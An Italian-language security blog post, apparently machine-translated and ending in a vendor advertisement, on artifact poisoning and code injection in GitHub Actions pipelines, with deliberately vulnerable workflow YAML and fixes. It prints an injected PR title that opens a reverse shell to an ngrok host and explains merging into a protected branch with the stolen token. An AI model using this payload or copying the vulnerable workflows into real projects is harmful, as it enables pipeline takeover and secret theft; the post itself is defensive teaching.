CICD-Pipelines

Un tuffo profondo CI/CD Pipelines Vulnerabilità (III): avvelenamento da artefatti e iniezione di codice

Nei post precedenti (vedi Avvelenato indiretto Pipeline Esecuzione I-PPE e Avvelenato Pipeline Esecuzione DPI , ci siamo occupati essenzialmente di DPI (Poisoned Pipeline Esecuzione): abbiamo visto come funziona, i suoi effetti, alcuni sfruttamenti e alcuni modi per proteggersi. 

Questo post si addentra in altri aspetti CI/CD pipeline vulnerabilità come Artifact Poisoning e Code Injection. 

Per farlo ci baseremo in qualche modo sui DPI quindi facciamo un breve riassunto di quanto visto sui DPI.

Lavori precedenti sui DPI

Per riassumere, abbiamo iniziato con un GitHub di base pipeline per creare e testare il codice contribuito tramite un pull request. Inoltre, definisce alcuni controlli che, se soddisfatti, uniranno il codice al ramo principale. Lo abbiamo chiamato Scenario #1.

CI/CD-Pipelines

Nel nostro post precedente, abbiamo dimostrato come funziona questo basic pipeline Prima vulnerabili sia al D-PPE che all’I-PPE.

Ci siamo riusciti correggere il D-PPE by modifica dell'evento di attivazione da pull_request a pull_request_target, rendendo il pipeline sicuro per i D-PPE. Come promemoria, pipelines attivati ​​su un evento pull_request_target eseguiranno il base pipeline codice, non il pipeline codice contenuto nel pull request. 

L'abbiamo chiamato come Scenario #2.

CI/CD-Pipelines-Vulnerabilità-scenario-2

Come risultato di questa modifica, lo abbiamo dimostrato Lo scenario n. 2 era ancora vulnerabile all’I-PPE

Per risolverlo, abbiamo deciso dividere il pipeline in due:

  • il 1st pipeline (Costruisci CI) voluto controlla il codice PR (per costruirlo), crea la build e genera un artefatto.
  • L'2nd pipeline (Prova CI) voluto controlla il codice Base (per evitare la modifica dello script di shell) ed eseguire gli script originali sull'artefatto. 
  • Per sincronizzare il test CI pipeline da eseguire DOPO la build CI pipeline, useremo il flusso di lavoro_esegui grilletto. 

L'abbiamo chiamato come Scenario #3.

CI/CD-Pipelines-Vulnerabilità-scenario-3

Recuperiamo il codice di entrambi pipelines secondo queste modifiche...

1st pipeline (Costruisci CI):

name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

2nd pipeline (Test CI):

name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       




Avvelenamento da artefatto

Secondo quanto sopra CI/CD pipelines:

  • pipeline Costruisci CI is sicura A entrambi D-PPE (a causa di pull_request_target) e I-PPE (perché non esegue più lo script di shell).
  • pipeline Prova CI è altresì sicura A entrambi D-PPE (a causa di flusso di lavoro_esegui) e I-PPE (perché controlla il codice di base per ottenere lo script di shell originale) 

Approfondiamo questa “soluzione”.

Pipeline Prova CI scarica l'artefatto come file zip.

# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

Una volta decompresso, esegue lo script di shell "sicuro". Perché dico lo script di shell "sicuro"? Perché in un passaggio precedente, il pipeline controlla il codice "base", quindi lo script originale viene inserito nella cartella dell'area di lavoro. Pertanto, quando il pipeline esegue lo script di shell che verrà eseguito utilizzando il binario precedentemente scaricato.

Allora, qual è il problema con questo approccio? Il problema arriva quando un utente "crea" un nuovo file pipeline

Se un utente apre un PR contenente un nuovo file pipeline, GitHub lo eseguirà pipeline  (date alcune condizioni, come abbiamo visto nel precedente settimana).

Dato ciò, cosa succede se l'utente crea un nuovo file pipeline con lo stesso nome di Build CI? Sì, è sorprendente, ma GitHub ti consente di crearne due pipelineha lo stesso nome!!

Ricorda che Test CI verrà eseguito dopo Build CI...

name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]

Sorprendentemente, perché ora ce ne sono due pipelines con lo stesso nome, il pipeline Il test CI verrà eseguito due volte: uno dopo l'originale pipeline e altri dopo il “nuovo” pipeline.

Come può l'hacker trarne vantaggio? 

  • Innanzitutto, l'utente malintenzionato può modificare lo script della shell per inviare il segreto al server controllato dagli hacker.
  • In secondo luogo, il nuovo pipeline include una riga per copiare lo script della shell modificato nell'artefatto → avvelenando l'artifact!!!

Quando l'utente apre un PR con queste modifiche, il "nuovo" pipeline verrà eseguito (caricando un artefatto avvelenato) e il Deploy CI pipeline verrà eseguito successivamente, risultando in lo script di shell "modificato" sovrascrive lo script di shell "originale" situato nel file pipeline spazio di lavoro.

CI/CD-Pipelines-Vulnerabilità

Questo è ciò che chiamiamo Avvelenamento da artefatto, cioè il capacità di modificare (hackerare) il file pipeline logica attraverso la modifica di a pipeline artefatto

Uno possibile bonifica è abbastanza semplice: semplicemente decomprimere l'artefatto in una sottocartella dell'area di lavoro eviterebbe di sovrascrivere lo script della shell "base".

Iniezione di codice

Oltre all'avvelenamento da artefatti, vedi qualche altra vulnerabilità nel codice sopra?

Andiamo!!

Come puoi vedere nel codice, pipeline Build CI crea il binario, carica il binario come a pipeline artefatto e, inoltre, carica un paio di dati aggiuntivi: il PR Title e il PR Id.

          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

Perché? Perché per unire il PR, come puoi vedere sotto, il Test CI pipeline ha bisogno dell'ID PR per richiamare l'API REST GitHub che unisce il PR. 

Come funziona il test CI pipeline ottenere l'ID PR? Condivisione di informazioni in file di testo (parte di a pipeline artefatto) è un modo comune per condividere informazioni tra pipelineS. E questo è esattamente ciò che questi pipelinestanno facendo.

  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

A rigor di termini, per unire il PR è necessario solo l'ID PR, ma il file pipeline L'amministratore ha deciso che la Build CI includa anche il titolo PR, quindi la Test CI pipeline stamperebbe alcuni messaggi informativi contenenti sia l'ID PR che il titolo.

name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

Il PR Title è sempre un dato proveniente dall'utente e, come tale, deve essere sempre considerato non attendibile. Così la pipeline devono trattarsi come tali e adottare misure protettive.

Nel codice sopra, possiamo vedere il messaggio specifico che fa eco al titolo PR. È solo un comando Linux “echo”.

Attraverso l'interpolazione delle stringhe, se il titolo è “un titolo fittizio”, Github genera internamente uno script contenente

echo ""a dummy title""

Ma cosa succederebbe se il titolo PR fosse qualcosa del tipo:

Titolo dannoso” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

La sceneggiatura diventerebbe:

echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

Il risultato è l'apertura di una shell inversa contro il server controllato dagli hacker.

CI/CD-Pipelines

Quella shell inversa potrebbe essere utilizzata per accedere a pipeline secrets (ricorda che Test CI è in esecuzione in modalità privilegio perché viene attivato da workflow_run in modo che abbia accesso ai segreti).

Ma cos'altro si può fare attraverso quel guscio inverso? 

Guarda il codice del test CI:

env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

Come puoi vedere nel Test CI pipeline, il comando curl merge utilizza GITHUB_PAT (definito come an pipeline env var), quindi il runner contiene GITHUB_PAT come variabile di ambiente. Inoltre, crea anche una env var che legge l'ID PR. 

Quindi l'hacker deve solo copiare il comando curl e incollarlo nella shell inversa, unendo il PR direttamente nel ramo protetto.

iniezione di codice

Per tutelare tutto questo:

  • A evitare interpolazione di stringhe con dati non attendibili (vulnerabili a iniezione di codice) di definizione pipeline env var invece di usarlo direttamente nei comandi echo

Invece di usare:

name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

Usa questo:

  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}
  • Anche con l'exploit di iniezione del codice, il comando curl merge non avrebbe avuto successo se lo avessi fatto correttamente protetto il tuo pull requests attraverso una revisione o approvazione obbligatoria

Conclusioni

È in qualche modo difficile da proteggere CI/CD pipelines configurazione e ottieni pipelineÈ privo di vulnerabilità.

Questo non significa che CI/CD I sistemi (come GitHub in questo caso) sono vulnerabili di per sé. CI/CD I sistemi forniscono i mezzi per proteggere dalle vulnerabilità, ma è responsabilità dell'amministratore implementare tali protezioni.

Ma… Non puoi risolvere una vulnerabilità se non sei consapevole della sua esistenza!!!

Naturalmente un amministratore DevOps altamente qualificato può tenere a mente tutte queste minacce e proteggere adeguatamente il CI/CD pipelines, ma, nonostante ciò, è estremamente prezioso utilizzare un prodotto per rilevare tutti questi tipi di vulnerabilità. E naturalmente automatizzare questo processo di detenzione delle vulnerabilità (ad esempio, eseguendo la scansione come parte di CI/CD pipelines).

Questo approccio potrebbe essere chiamato “Cancello di sicurezza": 

  • Crea un nuovo pipeline (Cancello di sicurezza) per controllare CI/CD pipelines vulnerabilità e creare l'altro CI pipelines da eseguire solo dopo aver completato con successo il cancello di sicurezza pipeline.
  • La porta di sicurezza pipelines controllerà per CI/CD pipelines vulnerabilità e, 
    • Se vengono trovati i vulnerabili, fallirà e, quindi, l'altro pipelinenon verranno eseguiti. 
    • Se non vengono trovati vulnerabili, il pipeline riuscirà e l'altro pipelines verrà eseguito come al solito.
CI/CD-Sicurezza

Avvelenato Pipeline Esecuzione (DPI)

Un tuffo profondo CI/CD Pipelines Vulnerabilità (I)​

Avvelenato indiretto Pipeline Esecuzione (I-PPE)

Un tuffo profondo CI/CD Pipelines Vulnerabilità (II)​

Protezione contro l'avvelenamento degli artefatti tramite attestazioni software

Un tuffo profondo CI/CD Pipelines Vulnerabilità (IV)​
sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Prova gratuita 7-day
Nessuna carta di credito richiesta

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni